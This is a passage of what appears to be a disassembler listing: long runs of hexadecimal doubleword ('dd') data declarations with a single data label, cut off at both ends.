61C93BD9h, 0FF3FD0E4h dd 12D1A8CBh, 198B0D2h, 3205D33Eh, 8060215Eh, 0CDBA1E50h dd 9BB98Dh, 0AD2B0353h, 671B6FD1h, 6ABED407h, 0F1B04A54h dd 27DE615h, 0E142E018h, 79E09352h, 0A97F3D57h, 39D83300h dd 0D6A42538h, 0E0EA3FE4h, 4ADC6100h, 17CD9083h, 81003578h dd 1EFED2BDh, 1A3B8Ah, 3267C729h, 209A89B3h, 0ACD67700h dd 861E2A70h, 0F01F004Fh, 0FCE88B07h, 0BD0E4864h, 27508DB1h dd 0AAA0DE54h, 4E2A6ADBh, 8341888h, 0E23963E1h, 5FF8340h dd 98DE7080h, 825C86h, 0DF617218h, 1C2A3767h, 6C2559h dd 0D79AE814h, 9FFEC1h, 0D1DE5C3Dh, 7986CBC6h, 42B6C000h dd 235E3CF5h, 8D39009Eh, 4B608790h, 2700696Fh, 2F76F14Eh dd 155D7Eh, 99D9F3D2h, 47B63D08h, 7A6F5E04h, 1380372Ch dd 303E1795h, 3C480BAFh, 6000C1A0h, 6C2E4E62h, 0BF34E5h dd 173E087Eh, 4948FD29h, 52FA1100h, 4F2A8FE4h, 2EF70E8Dh dd 53E308DDh, 20E029D8h, 577EB9FEh, 4FC48400h, 23B46909h dd 6B2E09F0h, 8D80C7F4h, 8F3391F8h, 480DF502h, 0C4BE8BF7h dd 0DDB900BCh, 0A284AEA7h, 0BB0038EEh, 0C2D2603h, 9C21403Ch dd 647F0028h, 9B190982h, 83201D3Fh, 5DB0EEDBh, 0EC33B9E9h dd 8D8F8h, 6EA1C99h, 0DF645238h, 0C7B8E501h, 337718ABh dd 0F2AF9424h, 62FA01C2h, 831981Fh, 80800424h, 5D50BA11h dd 10005406h, 3F0A9DE2h, 5A736389h, 6B336913h, 158008C5h dd 30ADDC21h, 83A93E0Fh, 9103C110h, 4C05BAFAh, 718BEF3h dd 0A09E5954h, 0BD10DC41h, 32802000h, 5D9329ECh, 12E65A7Bh dd 5C8C00Ch, 2660A88Bh, 3E883798h, 0FEF21E3Ah, 0CC66408Fh dd 69C7BB98h, 2D1C621Eh, 0C9BF963Ah, 36755CD0h, 52711603h dd 6F730954h, 2C162CA2h, 2C408242h, 74009586h, 12538C75h dd 9820CEC1h, 4E1D1384h, 3200D01Eh, 89C0BD5Ch, 7EAFF81h dd 0F4E6274Ch, 555F38B8h, 0C1E80C31h, 12E06E6Bh, 0A4B20E96h dd 47C04E7Bh, 7D2858F6h, 68D65D00h, 61142E1Ch, 7A44025Fh dd 0ECF0C0B5h, 2C32B282h, 56268C50h, 4A80D088h, 0EFFB723Fh dd 7C160D3Eh, 601821A9h, 28EE7186h, 73F49300h, 8AA44190h dd 0A4B6CCh, 31D5627Bh, 50B81428h, 64C7B92Ch, 80274B89h dd 97820FCCh, 0E2F87F9Ah, 0FA8548E4h, 3F542E00h, 0C0CEB734h dd 868C8A00h, 0B6F7B24h, 4E09820h, 0DDB52F7Ch, 0E9E8D142h dd 0D3D0D87Fh, 0CB8221C0h, 0B19641h, 66E7E4F2h, 8E6D7F69h dd 134EC800h, 26F315C7h, 2892DDh, 9DB5F5D5h, 2249C2D0h dd 5C17EBEAh, 6CC1A7C4h, 606812B6h, 8E64F40Eh, 70486520h dd 26099F27h, 2329E0FCh, 0A0220948h, 1617876Dh, 1CD6D5BDh dd 294840F0h, 2E16CC3Bh, 7819611Ch, 8D3EAA40h, 1FCA7276h dd 8A5466E9h, 0E48AF4h dd 1120C82Fh, 0BC60FBAEh, 9786111h, 4FD81ED9h, 8C8640FAh dd 0A25BB1A5h, 0EEA16303h, 0A05FCA7Fh, 90AA749Ch, 210509DCh dd 0A4008D4Ah, 5755EC60h, 2D5A3Ch, 48BF6390h, 0A15DCBh dd 8DD2C16Bh, 1F7E4EB2h, 8F7C451Ch, 0A472E447h, 91524D10h dd 0E42FCCCh, 0F9C5569Bh, 68F4680h, 9613B69Fh, 84B085ACh dd 663809D3h, 4C043D8Ah, 776840F7h, 0F0A1254h, 5D5B28BFh dd 53CF2500h, 7800652Dh, 0DE9DE7F9h, 221117h, 79AD643h dd 0A154976Ah, 6148700h, 5AAE61F0h, 80A73992h, 9C803824h dd 0C8E6D677h, 0B3886E1Ch, 553F07CAh, 70A4841Ah, 129857B6h dd 40BF9919h, 23D4B798h, 2FA32481h, 72BA02D0h, 4C68029Ch dd 9A04E9C1h, 0FB19993Bh, 0F60780E8h, 2BA272EAh, 0F424D44Ch dd 2F76CCF0h, 44841B49h, 5DA0828Bh, 809D35E0h, 0C907FE7Bh dd 404BF599h, 687DDB20h, 92D672E1h, 30C4E4ACh, 0B059C3C6h dd 8B002AA7h, 9A9B8F77h, 40E500Fh, 0E59106BFh, 304080D1h dd 4712ED07h, 140072ABh, 7839E96Dh, 7B9000E1h, 6BA75EC2h dd 100008D6h, 5626ECDCh, 4AFC66h, 7AF20567h, 0AA8827B1h dd 11982C5Ch, 990E1EBBh, 9C075DAh, 0D4BEEE8Eh, 2A171313h dd 591F091h, 0EABB460h, 0B46D9B0Ch, 1B8D7E62h, 808723C2h dd 0A26F805Ch, 10C7E9C8h, 928089A7h, 0BBA6D6h, 2E99A996h dd 78FD410Fh, 0F41B5C2Eh, 88905896h, 1E461F38h, 40ADBBA7h dd 71B6926h, 0BC0E2F94h, 20D7FEDDh, 2B541C18h, 0A5F828BDh dd 401279Ch, 0BADA440h, 75943F2Eh, 0F5EAFA00h, 7F2D78F9h dd 1DB81673h, 4D7800CBh, 0BCCF7019h, 0C8898324h, 51BE2618h dd 0F1F309EDh, 0B881BDC7h, 0DCA2AAB4h, 620BE7B0h, 8E581E47h dd 0E8D3A096h, 5C1CBD28h, 0E005877h, 5C5605EFh, 27018F1Ah dd 0BB4FDCABh, 1028FEAEh, 0D874490Eh, 81E8403Eh, 0C5DCC1ABh dd 8F52B000h, 168C159Dh, 0B895000Ch, 6632A8FCh, 6713438Bh dd 84806D3Ch, 92F16Bh, 9162481Dh, 0AEDA7CE1h, 59007E7Bh dd 0D2DB4793h, 50C63A6h, 7794A941h, 0C22CE0CAh, 4BAE170Fh dd 0E30F602Eh, 4F91EC1h, 922FE11Dh, 0D0E0C0A1h, 0B20E59F5h dd 32FFDBBEh, 796D5040h, 1C96C030h, 408B5CE4h, 0AFD47570h dd 5434E3EFh, 60AD062Ch, 0D503B638h, 397E768h, 3698DFF0h dd 65601660h, 0BFBE13h, 0EE2A6630h, 0F9FAEA0Ch, 0A8500706h dd 1C191FC4h, 5FE4C20Eh, 395A4002h, 0F8E735CCh, 0A02664CEh dd 240D3BA3h, 0F466045Fh, 927B86F6h, 0D074B060h, 7C0106A4h dd 6D8C5C4Fh, 63FAC4h, 0FC03438Ah, 0B818AE80h, 0FD3E1E00h dd 0ACE07331h, 0B7CC07FAh, 602F4C77h, 0E1CB7627h, 0D54AFE72h dd 7CAD84C2h, 5E803880h, 0C7B6DA8Fh, 5F3C9AD3h, 0FAF78075h dd 4D39C9C1h, 16070051h, 44C82ADBh, 0D10B7569h, 0AF7BF1D0h dd 2FEFE08Ch, 46D78D8h, 521FD30Eh, 0D2308055h, 0F90526FDh dd 70943EE3h, 4448A6FCh, 657E6403h, 0FFFFD1Ch, 200075CBh dd 1EF7E111h, 27B963Ch, 0AEA2FE30h, 0BC10C086h, 874E07h dd 188DDEEAh, 0EE007A11h, 589ED38Bh, 204CF91h, 2C478403h dd 0E87CA3B2h, 48CA3900h, 0BA40D419h, 42034CE0h, 2B1712h dd 0E88E2815h, 291CFE3Dh, 0B1071923h, 0D2323918h, 0D10C41B5h dd 0B8F50AC4h, 7C1D17F1h, 83544443h, 45FCCCC8h, 758C8400h dd 0EA8602D8h, 2B7B0067h, 0CFD6FF8Dh, 0B000E977h, 515AA33Fh dd 5237BAh, 96C931DFh, 432E4F2Bh, 0DE150600h, 17238AEEh dd 313C006Dh, 0F8A9AAF2h, 6C9A3B74h, 8FCDD200h, 4E4A29A6h dd 0F7CB0022h, 0A5430BDBh, 0AD0F2DEBh, 0A510D8CFh, 0E0806A4Dh dd 1BFB5CD5h, 1CD9F243h, 5E2E1076h, 9E010D5Bh, 0B3C317DAh dd 5A74F247h, 0F4C798B8h, 945DF008h, 7C01BF41h, 8334386Fh dd 64C414AFh, 710A12F7h, 0EC4201Eh, 0B6004BA8h, 0B9B03980h dd 0F966D76h, 4211297Ch, 1409BFA0h, 922E7150h, 4E0258F0h dd 62489B6Ah, 6250E86Ch, 0B3B53DEAh, 0E5578700h, 68E77AA4h dd 726CAD0Bh, 3304818Fh, 5430DA4Ah, 2F5416F8h, 4CE0942h dd 0CE002C78h, 3C4FEECAh, 74B9B50h, 0D5B0E8CCh, 3E98A045h dd 0B43ED4C6h, 0A6996D1h, 380670C0h, 9CE2658h, 0E8E00791h dd 9D6A803Ah, 2800B922h, 45013DB2h, 38AFD9BFh, 7E96BA3Fh dd 27E841C0h, 0F8803985h, 563A9167h, 3F8D3A50h, 0C462C0Ch dd 231D8F8Bh, 3AC180C4h, 8B00C029h, 84F80D6Fh, 99058210h dd 93A9A0E5h, 387331C0h, 9FBE0009h, 0EDDF8A24h, 0CF011465h dd 0FD470C76h, 84D04229h, 0C3043FB9h, 0FB306680h, 0E614951Eh dd 9C21CE60h, 0A926751h, 869FA156h, 6840044h, 66F5C502h dd 4C0E7F07h, 0D0C035DCh, 786B7512h, 76277445h, 0C59F0099h dd 0F3550B57h, 0AE0023E0h, 4E010446h, 86BA87h, 8B3A2015h dd 55F1E40Ah, 0F5BCF05Ah, 223A11Fh, 0E6A00E59h, 6D8076E2h dd 0BA4C5B3Fh, 2060AE30h, 9547089Ch, 343DA400h, 6008112h dd 88B3A60Ch, 0F56D5B9h, 83A88442h, 6E18038Ch, 0F52ABA18h dd 78F09378h, 4DD11EC3h, 992707ADh, 3D701CB6h, 8C461814h dd 9AC01E0h, 855F625Ch, 89C1F6E8h, 181C72CFh, 6F893B08h dd 51DA60CAh, 6A387482h, 0D1B66630h, 3EAFF59Eh, 910CB3C2h dd 4E411FAAh, 8EEBBD1Fh, 0B4D6B90Ah, 90538180h, 78BEBACCh dd 12281F5Dh, 46920004h, 0C6918B7Bh, 406AF5A1h, 1B407460h dd 6865A000h, 22ABF693h, 95700DBh, 367B6DBCh, 8007E72Eh dd 0F59303C6h, 84757EA0h, 6BA11CD3h, 11400FDh, 0E1210433h dd 0A4B52700h, 74BA82B1h, 0B902008Ah, 0D459A27Eh, 1D009820h dd 522D483Bh, 1DD38C4h, 0D3CEDE93h, 0C1278C64h, 0BEE1D0E6h dd 0C00CAC00h, 1A688BDAh, 57760045h, 2A6307D1h, 2F1F907Ch dd 82C0A6E6h, 81CE2C0Fh, 0E487003Dh, 94BFF71Eh, 2D305E92h dd 576CF02Ah, 0C4CA50DEh, 99D6009Ch, 82C13F41h, 0C654426Eh dd 4988CAD0h, 8EC70086h, 77E09106h, 32009371h, 80606B96h dd 90E81EBAh, 66582804h, 252679F4h, 94A13989h, 0CC847CCCh dd 0D9077F3Fh, 0D8C22712h, 21B046h, 0F3847467h, 0BBD907B6h dd 50688E31h, 1AE9810Bh, 0E4502425h, 60BE92C3h, 9D3220EAh dd 78063924h, 0DEB7F440h, 27A300B8h, 95AE81A0h, 0FF6FD023h dd 71016040h, 796006h, 0BB028D21h, 0CDD6F45Eh, 0E38ADB0Ch dd 0C0FE08A5h, 5ED32F21h, 0FA0060CFh, 424B2BBFh, 7765939Bh dd 103D6012h, 5536CEB4h, 0E3C9E700h, 0CB527407h, 82B00373h dd 35C4E55Ah, 0B4F3C09Fh, 0E91FAC99h, 0F540322Bh, 848E5334h dd 0BE580072h, 0A8F42585h, 0AE1E13BAh, 4A803A21h, 0F3888DEFh dd 381B0079h, 6416AA35h, 0E803609Ch, 0AC5F2FA2h, 0B019B341h dd 0F0B5C7h, 71EB1B0Dh, 0BC9C7656h, 0CD288100h, 0D0B9E1D4h dd 870900A5h, 0C160220h, 0A8015FD5h, 781876AAh, 8D70CDA1h dd 1369774Fh, 35208Ah, 0A4A6134h, 0A000C7E3h, 69795897h dd 0D70C0h, 0BD2CF77Dh, 2BE8C105h, 4451A40Eh, 0E9001D42h dd 0D6C08AC5h, 70D5004Ch, 0F3B16461h, 4502F623h, 0B586740Fh dd 1F2DC0B2h, 151D0027h, 623B6B63h, 8D00F34Ah, 0C2CF6B6h dd 128E5Dh, 0D54D249Ch, 672DD921h, 19372201h, 0DA8588E6h dd 30CAA0C7h, 0BBB1C3EAh, 35F996E1h, 865EC808h, 0CA00B27Dh dd 0B39F340Bh, 0F02C4FFCh, 94A53169h, 0F4C35D36h, 0F6000F22h dd 0BDA3D03Ch, 304992DFh, 1E784B64h, 100EAF9h, 61B3141Ch dd 92B447h, 0BD5EA71Ah dword_527848 dd 50331BFDh, 0CC98F301h, 0C888B951h, 3CBFE9F0h, 0F7005985h dd 6A151712h, 5801C5CBh, 53A64D78h, 23D0CFEFh, 0B05C01FCh dd 6D2DBD0Dh, 3D13F4A7h, 1C9D6500h, 21622396h, 0F900058h dd 0BD6C75B5h, 5D1DCA93h, 20C06480h, 0A72ADD4Fh, 3289030Dh dd 6963D937h, 4D2F1007h, 584D5BFFh, 7630BDFCh, 74F40094h dd 44AC8078h, 2C12AE16h, 8B00B52Bh, 424AE6E9h, 0E28D03B2h dd 0BCEA9535h, 3C827007h, 8A60DCC3h, 0E87F47F6h, 0C4796Bh dd 0CBE9E39Ah, 7D140F5Ch, 5FBA7300h, 0E609068h, 0C712Fh dd 0DF467E07h, 0D0423AA6h, 6639600h, 0F66913E3h, 8EB30079h dd 0E4EB6D0Ch, 0C907DF83h, 0DFAEA2Ah, 4A1073A7h, 1379F4E7h dd 3ACE87Bh, 825D68DDh, 658CF1F8h, 0EA67D800h, 4B6B482Eh dd 3E3F6D4h, 51E9E250h, 20006C09h, 5A851001h, 28326F8Ch dd 0C0A60h, 9E5D7C91h, 7A510E72h, 29AABD00h, 67D75466h dd 85390027h, 0D8641D53h, 0BCF0DC78h, 7AD94100h, 0E7241546h dd 0AE300E60h, 0C0C0D6D1h, 8A2E5785h, 5E18F0F4h, 7A696D09h dd 5F460090h, 1AE451ADh, 5E03D01Ch, 67DF2E9h, 6A53A070h dd 0DDE78001h, 69485D03h, 7CD17294h, 3AB90040h, 0AE2ACD8Ch dd 0FA002DE9h, 3288E4EAh, 0F8D3826Dh, 0ED358066h, 0D867C503h dd 6A0A68h, 0D9D38681h, 0C2DFF64Eh, 38EF3630h, 74BAA760h dd 822200F1h, 0CB9BAEABh, 2103A1EDh, 0B463D3FCh, 8A7E83Bh dd 0B358BFBDh, 0AED43900h, 0F76DD22Ah, 21500C83h, 0A90980A6h dd 10250330h, 3AFF2E98h, 0E2808113h, 0DF8D5E87h, 8F01F30Ah dd 3A3FA98Eh, 0D1FF137Ch, 2890121Ah, 0F49C84DEh, 443BEB44h dd 6A4818B0h, 88F7E84Eh, 0CF0F3DB7h, 0C81E6058h, 16D00812h dd 0E5B978h, 0D20A14B3h, 0E80FB66Eh, 8FA7F553h, 0EEAD0028h dd 539C610h, 0A96F9062h, 0BAC0BA0Ah, 3A139EBFh, 0FC87CFABh dd 0E6CB079Bh, 983FF1C7h, 6BB80066h, 702EBE11h, 13D200E0h dd 0AF1CE2FFh, 6A00E339h, 0B2528DE6h, 184B0691h, 183857E9h dd 400C4D7h, 9701DFDCh, 41FB7Eh, 111C8B75h, 0CFB068D1h dd 7712B900h, 0AB905F08h, 495C00ACh, 0F0E354CAh, 564CBD5Dh dd 4AC2013Eh, 94151462h, 30FA9880h, 3D0040Ah, 2BA1D700h dd 0E9D4865Fh, 609260C4h, 8FE65846h, 0FB005974h, 869DD732h dd 7B48Ch, 0A3B6F869h, 4D553D1Ch, 0F77B2300h, 9ACDE4CBh dd 0F554007Dh, 3FD2DD03h, 713DB7C4h, 0A5700146h, 24AF1250h dd 0EC108D8h, 0E27C397h, 0A8693563h, 8092E589h, 0BD7BF3A0h dd 0B96E0h, 0D22D6153h, 0ED9509D6h, 2B634A00h, 0F7E2DBD1h dd 41CA00C0h, 8A5B5410h, 67017AA4h, 0BDAD7045h, 79600394h dd 0D44F00B8h, 3D2CDA36h, 1C00E058h, 1A49635Eh, 0CF44E5h dd 0F00487BBh, 8E9F85D8h, 964B781Ch, 561DBDDCh, 9C3C454Fh dd 3116C7C0h, 34CB2Bh, 2AD81197h, 0D0806F74h, 13E42500h dd 0DB7268C1h, 3BE01FA4h, 91BCC055h, 0A05F21BBh, 0F0670E00h dd 5E8E44A3h, 7AA50178h, 90C71C84h, 97FDC4BCh, 62D67F0Eh dd 0E3164019h, 946BFh, 0ACF8CC32h, 0CB4321FBh, 0D8E182F6h dd 0C0003E86h, 819F3196h, 1C073850h, 0C0BD6623h, 0B2D46495h dd 312C2EDDh, 2700EEB0h, 0D7D61015h, 3F813D6Dh, 0ED5B3400h dd 41503E3Dh, 17854D0Bh, 9A06839Dh, 0C01EAA3Ch, 0DE0105h dd 0B22A0713h, 0EB233F38h, 4B8B7A00h, 55FDF34Dh, 79AA0060h dd 0C8094ABAh, 0E4A0909Fh, 0E030E1AFh, 0DD6C6071h, 7C2E0046h dd 84C7D96Dh, 7DFA473Fh, 83F2563Dh, 905DE509h, 0FDC3C0FCh dd 11E96002h, 341ADE6Dh, 9171EC15h, 0CF102E4h, 0C05E1F3Ch dd 3E169AC6h, 48F912C3h, 88026096h, 0E7EECE92h, 7DC698C0h dd 696A7A01h, 199D23D2h, 0E0520h, 6E30AD08h, 0D589B88Bh dd 939EE79h, 15070757h, 79203DFAh, 7DA9D3h, 0AE124188h dd 0D0AC984Eh, 0C7B64Ch, 0EEC0F9D6h, 0B5AFA0h, 4DE99183h dd 88842527h, 2EF88105h, 88426786h, 40D97017h, 3F570764h dd 0D5012F85h, 4EF99105h, 0D7B8E367h, 0C400FA0Eh, 682C5DCEh dd 18A89E57h, 1141CB46h, 4302A795h, 960739Ah, 0E9888139h dd 0A6345h, 8B084C22h, 1E843D78h, 244A09h, 6A937930h, 95007EF6h dd 88294659h, 328584h, 39FB9A3h, 3F9D1E4Dh, 0A4F4A600h dd 0D9BAE426h, 36ECDFh, 7C244BDCh, 0EF63EEBh, 60133801h dd 0AB5BE903h, 71FC6A30h, 0BBBC2402h, 0F6540748h, 5C50905Dh dd 253EACC8h, 81FF00D7h, 0B09B2494h, 0EA4A0048h, 6D4D3C12h dd 0A500B8ADh, 19CF5406h, 0A2C88Ah, 0C4F07F83h, 0FCD7897Ah dd 0E51F4907h, 1320F6E1h, 0FEB4AC87h, 19F41D39h, 0B0B90035h dd 5F3E03EAh, 9DB80CFEh, 0F0134E00h, 0D621083Dh, 554C0359h dd 0B2178237h, 44B616D0h, 1B543000h, 0C52E13B1h, 3A7D0043h dd 0DEE4DC0Bh, 6D14D81Dh, 8C868Eh, 4F157888h, 1A28A58h dd 394E6960h, 0E2B45CFBh, 77274460h, 7FFC700h, 2C3BF88Ah dd 0AFA503F5h, 3A1C8C9Ah, 0AE001076h, 4505B81h, 167E628h dd 49A0ABF4h, 0C8A177D9h, 3F00F18Fh, 477414F9h, 0BEDDD0h dd 1057B415h, 381C7F51h, 6909D50Ah, 0B500CCDEh, 291AA641h dd 2FF8002Ah, 1E7F62F6h, 0F198085Dh, 14271900h, 3A6D56F0h dd 93C800F9h, 6653DB58h, 0A70036BFh, 97B17AADh, 38117D0Ch dd 0B280205Dh, 0F25FE3CDh, 0E4E223D6h, 6103A300h, 184A9891h dd 0B8797DD4h, 5E110331h, 0E98FD8CDh, 0D56AB0D8h, 0C67AED1Fh dd 0F2D91E40h, 4F2C8Dh, 975C7F10h, 3B74568Eh, 53E70500h dd 2819DAE3h, 0DDD400C5h, 34933E32h, 0D4E72BDFh, 27035AEDh dd 7B66A60h, 3E89E099h, 0BC191243h, 0B458455Fh, 0ADA480FBh dd 0B2EE8E26h, 0A70AF900h, 0AE737031h, 7FE00B0h, 4AB0922h dd 0FF0BBC83h, 94D0B9Dh, 0C087822Ch, 200FFBDh, 0F3487C16h dd 47CCEC50h, 256D7901h, 0A46E7B17h, 0B8FEDCh, 0B2069369h dd 5D267AF3h, 8738DC00h, 4BF6347Fh, 9C720666h, 925E32A8h dd 0EA2DF307h, 3F409801h, 38957Bh, 311B1039h, 0F38FEE1Fh dd 4171F600h, 9B545A7Ah, 616607F5h, 30C9E762h, 22844A8Bh dd 965DFA0Bh, 3644014Dh, 0C061B0C6h, 0F0933E8h, 8DA1DDBAh dd 4E5E200h, 0BF166189h, 0D000E37Eh, 208FA001h, 837200D6h dd 0EB2E69E9h, 2100D26Bh, 40850234h, 1E4E700Dh, 27DE8Ch dd 0CE96723Eh, 0C300AB11h, 7084DAF0h, 3C014226h, 2700F26Ch dd 0E615982Ch, 0CD0744A7h, 100CBBCCh, 62F24930h, 0A1400BA9h dd 8C803E51h, 5E419B0Fh, 0B5520724h, 7A00B812h, 0CB540492h dd 0F6AE0015h, 66B593A6h, 68FCE8A5h, 600CEF4h, 0AF5321D5h dd 7E69CA65h, 0A0FE0B29h, 3E0268D3h, 97C05BFCh, 391E5E95h dd 24C0E7F6h, 0F7577125h, 0FF9C0548h, 0B7C6F0h, 6B894FBDh dd 21039B5Bh, 49608011h, 0FC9F83Ah, 827812h, 1E985ECEh dd 0CA0A14C8h, 8730E2A0h, 56DD9900h, 72F80C39h, 63FB014Eh dd 4654E895h, 48A7CCB7h, 0C9B29200h, 0FDCD8A18h, 0B84758FAh dd 0DDBE9600h, 8D6F7039h, 0F4164407h, 0D9E0C6A2h, 7915485h dd 0D55D5602h, 50B477B6h, 174489ABh, 0E32EC704h, 50C0CFB8h dd 3D0B8Fh, 949BB37Fh, 18F204B5h, 3E09C800h, 16E8547Ch dd 8F390915h, 580122B0h, 2091CBE5h, 75008090h, 5754D921h dd 0B087B749h, 1FB1805h, 90A1048h, 8B66E000h, 0CCE71C21h dd 58910008h, 0D2279655h, 0AF0017D4h, 2BEA5952h, 2DD570h dd 0B85FE4A9h dd 29EEB27h, 1E46A748h, 62003EAEh, 8DE9806h, 0CEA31261h dd 7F04C0C1h, 13002489h, 4BB4A467h, 4198DCh, 0B65085CCh dd 0BB2ADF33h, 5A01710Dh, 0BEF0B822h, 41FC6089h, 52C5B47Bh dd 0C3CC080Fh, 0F8E3E3DBh, 56F800Bh, 0AF9B020Ch, 20B48CBFh dd 8FC320E0h, 54DD2200h, 16197758h, 569A00C5h, 4ADF2EAFh dd 220A447Fh, 9484A729h, 1B3E259Dh, 0C070B859h, 382989Dh dd 23B935D9h, 70E8D3DFh, 50A84301h, 0C84C1D0h, 1252C3FCh dd 44E0FBA8h, 9A9614A0h, 8D5EFD00h, 0F55C5DA2h, 83F095h dd 7BA08FE4h, 37B566D2h, 68524100h, 8D7E044Bh, 0E14400B0h dd 1F320CAFh, 0DB00EBBCh, 0B649088h, 349B6CCh, 0DE9CBDF9h dd 0AEB84287h, 94017CFFh, 5E5AB0EBh, 54402E17h, 2E969E66h dd 79AE3Bh, 0B3523A7Bh, 5503B483h, 0A8587407h, 63F901ABh dd 7EE09BF6h, 5BEFCE5h, 0BCC8BA26h, 82079F00h, 0F22A6B50h dd 0A7EE21h, 0A5FB1D2Eh, 9B1F6C9Dh, 48FECC00h, 0DE05AF29h dd 540307F0h, 0C00D2A6Fh, 1894C7B3h, 13993A60h, 3C9C52h dd 67DF268Bh, 5640360Dh, 62E0FCF0h, 0F0542700h, 0C643BFF2h dd 219D001Dh, 753D8D5h, 85786503h, 0BFA5290Fh, 0BAD1A0ECh dd 78FAEFABh, 2E9A00B6h, 0F8A92A89h, 8401DEF3h, 3ED331AFh dd 0FA606246h, 823915ACh, 830DE087h, 87992429h, 2D22ABE0h dd 0AD6419A0h, 0AF130C9Ch, 212047A3h, 39FD6130h, 0C59B41Eh dd 2D857FC2h, 1C00F541h, 49B5BD3Dh, 47A136h, 1678BF63h dd 75D67A5h, 729B6100h, 70A29C8Dh, 0E2F098h, 5592CC51h dd 4CAA5876h, 491C5F1Fh, 8D2885C7h, 0CA60818Fh, 4C3066C7h dd 32710E94h, 0D66035A6h, 9B855138h, 0D428E03h, 22CD9E67h dd 0F5008029h, 254AB545h, 63C9FEh, 66C63815h, 60FF8190h dd 512B1300h, 7D4EEEAAh, 22C70023h, 0C5B8C8D3h, 0C46E4777h dd 0CEBFC010h, 7DB0A8h, 0E8F6FF3Eh, 36C089CFh, 7400B098h dd 0B3EED3B4h, 0E68449h, 0DC45248Ch, 75A71E5h, 0CA1CD00h dd 0B25EEC83h, 856B5CFEh, 4044981Ch, 0C6391D20h, 0F007663h dd 8CAA0CBAh, 2B4C0Ah, 35D1A2E4h, 36475C15h, 50011998h dd 0A0792E81h, 9043934Bh, 4E56C099h, 0A28C00FFh, 8B0D6E8Eh dd 0D000A307h, 75CE37B1h, 72D56DA6h, 0E53900EFh, 0E0EE5608h dd 0B303CCD7h, 796702FAh, 0B438D8C4h, 0B5293CCEh, 403BA61Ch dd 72EB542Bh, 5376E95Ah, 3F9BD700h, 40B41688h, 266C057Fh dd 34ED191h, 58E0C093h, 0DF9A8084h, 722E3050h, 0F800E521h dd 0EA3C98B8h, 77B70019h, 7549A734h, 9202B28Eh, 8A20E326h dd 7D04404Ah, 88415CD3h, 913E4038h, 3B6E3980h, 0AEEEBA17h dd 65339203h, 0A087C236h, 0F8893029h, 7160091h, 85242E80h dd 0B670470Ah, 78459D00h, 34056D83h, 0DC00E59h, 0B901E09Fh dd 0C85C6A84h, 0DDE2694Dh, 946F1D00h, 70F5BCAEh, 0A4493CD8h dd 0BB290F00h, 88ED6BAh, 11409B00h, 90D45E01h, 4D2000A3h dd 66415C1Ch, 0BF71CD31h, 0C900647Ah, 0CCD1B035h, 7179DB4h dd 78A9B561h, 674150B8h, 531D4A20h, 400CAB9h, 429B7401h dd 6EFC0B2Ah, 7D80C834h, 293F1D8Bh, 0F2CC60C1h, 80E0DA2Bh dd 319300B6h, 64A67301h, 4D51EFA0h, 60E6E59Ch, 6D00E742h dd 6F032759h, 7184A4F2h, 65250067h, 0D7A3D9E9h, 4224FA5Bh dd 0CC1EB86Ch, 4AE360C0h, 8BEB10h, 1CDFEACBh, 0A06E2D8Ah dd 7B659CA0h, 60889D76h, 8E134C10h, 0B022FB00h, 6F40542h dd 2F1BF700h, 38F27867h, 0B5860024h, 1F41608Ch, 73074975h dd 0E0B9B71Eh, 0B10D97F1h, 134DEEECh, 140CE63h, 0E70BB300h dd 0CF99D018h, 661B9300h, 0AE9D2635h, 1AFB00C0h, 0FEBA9A29h dd 6B07ACB2h, 0F65BD522h, 0D9ABE2C0h, 0A036009Ch, 4DE76219h dd 0C81D4581h, 3503A130h, 92678FAEh, 83340DAh, 0EA3898A0h dd 89101h, 0C60219B8h, 8816FA71h, 0CB1D4504h, 393CF9h dd 545C14F4h, 247AC527h, 24C4A6EBh, 4649303Fh, 3D01B9A4h dd 6FEE5C88h, 10F05B25h, 0DFBD58BAh, 34940078h, 0A116F841h dd 9C006A7Bh, 50C7B6AFh, 0B86C3Bh, 0FA04E846h, 456E31E2h dd 83EB990Fh, 2FF1C2DFh, 5AA2C063h, 1FFE00DCh, 7378AD7Bh dd 4512EBF3h, 0B300195Eh, 0F431F0DDh, 9DC30798h, 40B2A144h dd 0D40999CCh, 0B967B09h, 1280FDBBh, 0B36E655Dh, 0DA81FD00h dd 7BF2EAD2h, 1F73006Ch, 16F16D5Ch, 9707D36Bh, 18699FC0h dd 8AD9DED7h, 499F381Fh, 0BFCC6000h, 9C9A12h, 6871846Ch dd 0F8B86F7Ch, 74812C1Dh, 23FFF80h, 0C4E3EBh, 4DD26DF7h dd 0C147D32Eh, 44F0837Dh, 8BE9C304h, 0BD0057C7h, 0B6A3F9F6h dd 8A07C672h, 0E8174239h, 0D10A8E40h, 0E9870B7Eh, 9180914Fh dd 193086Dh, 0D074CC78h, 64394500h, 54835EC3h, 757F00ABh dd 38DB57C8h, 0FA007B73h, 25B580DAh, 30AE9CBCh, 0B0767F77h dd 0FF50BF20h, 8600DAF4h, 18ED252h, 0EC605F53h, 8DED000Fh dd 1D10F950h, 3248C812h, 0E8AC4B3Ch, 7CDCC600h, 2A6908F6h dd 0D7AF9907h, 80C9EB06h, 11BCA8E0h, 3CDA00CEh, 0AC9F1D35h dd 0E0092888h, 78A8341h, 0ED0039E5h, 4CA95Ch, 0D22CD09h dd 0E66A8612h, 0D7014C98h, 247D593Ah, 0FED06766h, 0A0FA6Ch dd 555FDF70h, 2EBF2A4Ah, 0D734F900h, 0E4EB7B4Bh, 0FE9828A4h dd 6BA926A5h, 797500E5h, 0F2F72D8Dh, 39522E00h, 227432CBh dd 740EEE11h, 0F92F49Fh, 89A5BC28h, 5F666140h, 0E11893A1h dd 4C10F0DCh, 9D970012h, 883E8AC6h, 8490AB6Dh, 54445800h dd 192C791h, 0E22E00FEh, 0E6950789h, 3770FB03h, 70DC8450h dd 3D9D0900h, 5F25F3DEh, 0ACEA1E96h, 247824DFh, 0C0760081h dd 2BE40DE3h, 0D500A9F0h, 0D704BC71h, 0B9D3DA57h, 8FCB001Ch dd 6AE5AE41h, 0EDD9741Dh, 0AF0CF43Ah, 998E9EDFh, 0B57F2Bh dd 0D2733DC5h, 90708DC3h, 535E9600h, 0B7D1A504h, 3BDF0F4Ah dd 8EA02574h, 2CF08D1Ah, 1EDAE107h, 3581A257h, 0A3C0A0A7h dd 5AFF00Ch, 0B1CC2D5Fh, 76DC015Eh, 9C54E96Fh, 0C5404D99h dd 0A129D240h, 7193002Bh, 3E73DD5Dh, 5548CDC4h, 582C32E1h dd 39548380h, 60C1A5A0h, 0EF60837Ch, 0B88907F6h, 397EA151h dd 54605000h, 0DC00F442h, 0B14A3C4Ch, 26E68943h, 0ECDDBDh dd 